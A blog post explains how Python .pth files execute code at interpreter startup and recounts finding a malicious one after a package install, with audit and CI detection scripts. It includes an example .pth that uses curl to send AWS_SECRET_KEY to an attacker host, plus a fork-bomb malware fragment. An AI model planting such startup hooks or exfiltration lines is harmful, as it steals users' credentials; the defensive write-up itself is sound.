Skip to content

How Python .pth Files Work and Why They're a Security Risk

Problem

When I installed a Python package recently, my machine started running extremely slow. CPU usage spiked to 100%, and I couldn’t figure out why. After some investigation, I discovered something alarming: a .pth file in my site-packages directory was spawning processes in an exponential loop.

terminal output
$ top
PID COMMAND %CPU
12345 python 99.2
12346 python 98.7
12347 python 97.1
... ... ...

The culprit? A malicious .pth file that executed code every time I started Python - even just to check the version.

What Are .pth Files?

I had seen .pth files before but never paid attention to them. They sit quietly in your site-packages directory, looking innocent:

list pth files
$ find $(python3 -c "import sysconfig; print(sysconfig.get_paths()['purelib'])") \
-name "*.pth" -type f
/usr/local/lib/python3.11/site-packages/easy-install.pth
/usr/local/lib/python3.11/site-packages/litellm_init.pth # <- suspicious!

I assumed these were just configuration files. But when I opened one, I realized Python executes them automatically on every interpreter startup.

The Discovery

I decided to inspect the suspicious litellm_init.pth file:

litellm_init.pth
# This file looks innocent but contains malicious code
import subprocess
import sys
# Spawns a child process that triggers the same .pth again
subprocess.Popen([sys.executable, '-c', 'import base64; exec(...)'])

The pattern became clear:

  1. The .pth file executes when Python starts
  2. It spawns a child Python process
  3. The child process triggers the same .pth file
  4. Each child spawns more children
  5. Exponential fork bomb

This was actually a bug in the malware - a properly written version would steal credentials silently instead of crashing the machine.

How .pth Files Work

I dug into the Python documentation and found that .pth files are processed by the site module during interpreter initialization:

pth file processing flow
Python starts
|
v
site module loads
|
v
Scans site-packages for *.pth files
|
v
For each .pth file:
- If line starts with "import": execute it
- If line is a path: add to sys.path
- Otherwise: execute as Python code
|
v
Your application code runs

A legitimate .pth file looks like this:

normal-package.pth
# Just adds a directory to sys.path
/path/to/my/modules

But a malicious one can execute arbitrary code:

malicious.pth
import subprocess
import os
# This runs with YOUR permissions
# Before you even import anything
subprocess.run(['curl', 'http://attacker.com/steal?data=' + os.environ.get('AWS_SECRET_KEY')])

Why This Is Dangerous

The key realization is that .pth files execute before your application code:

execution timeline
Time 0ms: python interpreter starts
Time 1ms: site module loads .pth files
Time 2ms: MALICIOUS CODE EXECUTES (with your permissions)
Time 3ms: your application imports start
Time 10ms: your application code runs

This means:

  • Automatic execution: Every Python process triggers them
  • No user interaction: Code runs before your code
  • Persistence: Survives reboots and sessions
  • Full permissions: Runs with your access level
  • Stealth: Hidden among legitimate .pth files

Investigating My System

I wrote a quick audit script to check all .pth files:

audit_pth.sh
#!/bin/bash
# Find potentially malicious .pth files
SITE_PACKAGES=$(python3 -c "import sysconfig; print(sysconfig.get_paths()['purelib'])")
echo "Checking for suspicious .pth files in $SITE_PACKAGES"
find "$SITE_PACKAGES" -name "*.pth" -type f | while read pth; do
if grep -qE "subprocess|exec\(|eval\(|__import__|base64|compile\(" "$pth"; then
echo "[ALERT] Suspicious .pth found: $pth"
echo "Content:"
cat "$pth"
echo "---"
fi
done

Running it revealed the problem:

audit output
$ bash audit_pth.sh
Checking for suspicious .pth files in /usr/local/lib/python3.11/site-packages
[ALERT] Suspicious .pth found: /usr/local/lib/python3.11/site-packages/litellm_init.pth
Content:
import subprocess
import sys
...

The Solution

After removing the malicious .pth file:

remove malicious pth
$ rm /usr/local/lib/python3.11/site-packages/litellm_init.pth
$ python3 -c "print('System clean')"
System clean

But prevention is better than cure. Here’s my current approach:

safe pip install workflow
# 1. Always check before installing
pip download --no-deps package-name
tar -tzf package-name*.tar.gz | grep -E "\.pth$|setup\.py"
# 2. Use a virtual environment
python3 -m venv .venv
source .venv/bin/activate
# 3. Audit .pth files regularly
find .venv/lib/python*/site-packages -name "*.pth" -exec cat {} \;

For CI/CD pipelines, I added this check:

ci_pth_check.sh
#!/bin/bash
# Run this after pip install in CI
SITE_PACKAGES=$(python3 -c "import sysconfig; print(sysconfig.get_paths()['purelib'])")
# Red flags in .pth files
PATTERNS="subprocess|exec\(|eval\(|__import__|base64|compile\(|os\.system|popen"
find "$SITE_PACKAGES" -name "*.pth" -type f -exec grep -lE "$PATTERNS" {} \; | while read f; do
echo "::error file=$f::Suspicious .pth file detected"
exit 1
done

The Reason Behind This Design

I wondered why Python allows this. The historical reason makes sense:

  1. Path configuration: .pth files were designed to add directories to sys.path without modifying PYTHONPATH
  2. Namespace packages: They enable namespace packages across multiple directories
  3. Development convenience: Developers can add project paths without installation
  4. Legacy compatibility: The feature has existed since early Python versions

The problem is that the import statement in .pth files was meant for importing modules that modify sys.path, but it can execute arbitrary code.

Summary

In this post, I discovered how Python .pth files automatically execute code on interpreter startup and why this makes them a dangerous attack vector. The LiteLLM supply chain attack demonstrated this in the wild - a malicious .pth file spawned processes exponentially, crashing machines and exposing the attack.

The key takeaways:

  • .pth files execute before your application code
  • Always audit .pth files in your site-packages directory
  • Use virtual environments to isolate installations
  • Add .pth file checks to your CI/CD pipeline
  • Be suspicious of packages that include .pth files

Final Words + More Resources

My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me

Here are also the most important links from this article along with some further resources that will help you in this scope:

Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!

Comments